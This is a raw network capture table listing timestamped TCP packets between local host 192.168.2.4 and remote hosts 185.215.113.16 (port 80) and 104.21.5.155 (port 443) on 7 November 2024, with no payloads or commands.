Nov 7, 2024 06:01:18.130275965 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130357981 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130381107 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130394936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130400896 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130412102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130446911 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130536079 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130548000 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130558968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130575895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130579948 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130588055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130599976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130610943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130614042 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130620003 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130624056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130635977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130646944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130651951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130659103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130671024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130681992 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130686045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130686045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130695105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130707979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130716085 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130717993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130731106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130758047 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130769968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130780935 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130791903 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130794048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130804062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130815983 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130821943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130832911 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130846024 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130846024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130863905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130867958 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130876064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130880117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130893946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130901098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130909920 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130914927 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130923033 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130934000 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130935907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130948067 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130956888 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130960941 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.130966902 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.130981922 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.131011009 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.131203890 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131223917 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131237030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131266117 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.131283998 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.131768942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131824970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131834030 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131844997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131856918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.131865978 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.131896019 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.163476944 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197071075 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197097063 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197112083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197124958 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197134972 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197138071 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197159052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197159052 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197171926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197184086 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197195053 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197208881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197207928 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197221994 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197228909 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197236061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197249889 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197257042 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197264910 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197274923 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197278976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197293997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197303057 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197308064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197329998 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197350025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197361946 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197395086 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197407007 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197418928 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197442055 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197477102 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197498083 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197520971 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197531939 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197545052 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197552919 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197557926 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197571993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197580099 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197583914 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197597027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197607994 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197608948 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197629929 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197657108 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197665930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197679043 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197690010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197700977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197707891 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197715998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197727919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197736025 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197740078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197751045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197813988 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197828054 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197838068 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197845936 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197850943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197853088 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197864056 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197876930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197889090 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197891951 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197902918 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197911024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197915077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197926044 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197933912 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197945118 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197957993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197962046 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.197971106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197983027 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.197984934 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198000908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198029995 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198093891 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198106050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198117018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198127985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198137999 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198151112 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198156118 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198168993 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198179007 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198183060 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198195934 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198195934 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198209047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198214054 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198221922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198229074 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198235035 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198249102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198256969 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198261976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.198276997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.198307991 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.233100891 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.233160019 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.233237028 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.233608961 CET	49844	443	192.168.2.4	104.21.5.155
Nov 7, 2024 06:01:18.233622074 CET	443	49844	104.21.5.155	192.168.2.4
Nov 7, 2024 06:01:18.239132881 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239151955 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239167929 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239180088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239197016 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239208937 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239212990 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239227057 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239238977 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239248991 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239257097 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239268064 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239279032 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239280939 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239296913 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239299059 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239310980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239327908 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239327908 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239348888 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239351988 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239366055 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239379883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239382982 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239391088 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239403009 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239403963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239414930 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239425898 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239434004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239444017 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239449024 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239459991 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239478111 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239499092 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239599943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239612103 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239622116 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239659071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239676952 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239677906 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239691019 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239701986 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239713907 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239725113 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239746094 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239799976 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239810944 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239820957 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239831924 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239837885 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239844084 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239861012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239862919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239875078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239886999 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239897013 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239900112 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239906073 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239909887 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239922047 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239933014 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239933968 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239940882 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239950895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239965916 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239968061 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239979982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.239989996 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.239990950 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240003109 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240015984 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240025997 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240027905 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240036964 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240041018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240061045 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240070105 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240081072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240092993 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240094900 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240106106 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240112066 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240118980 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240140915 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240145922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240160942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240173101 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240178108 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240190983 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240199089 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240204096 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240215063 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240216970 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240242004 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240268946 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240299940 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240312099 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240322113 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240344048 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240365982 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240370989 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240379095 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240390062 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240406036 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240417004 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240428925 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240428925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240436077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240447044 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240459919 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240462065 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240472078 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240483046 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240510941 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240546942 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240559101 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240569115 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240586042 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240587950 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240606070 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240613937 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240627050 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240638018 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240642071 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240648985 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240659952 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240669012 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240678072 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240689039 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240700006 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240700960 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240706921 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240711927 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240722895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240739107 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240742922 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240765095 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240783930 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240784883 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240797997 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240808010 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240822077 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240833998 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240835905 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240854979 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240858078 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240868092 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240876913 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240906000 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240933895 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240947008 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240958929 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240968943 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240981102 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240983963 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.240992069 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.240998030 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241025925 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241048098 CET	49834	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:18.241074085 CET	80	49834	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:18.241086006 CET	80	49834	185.215.113.16	192.168.2.4
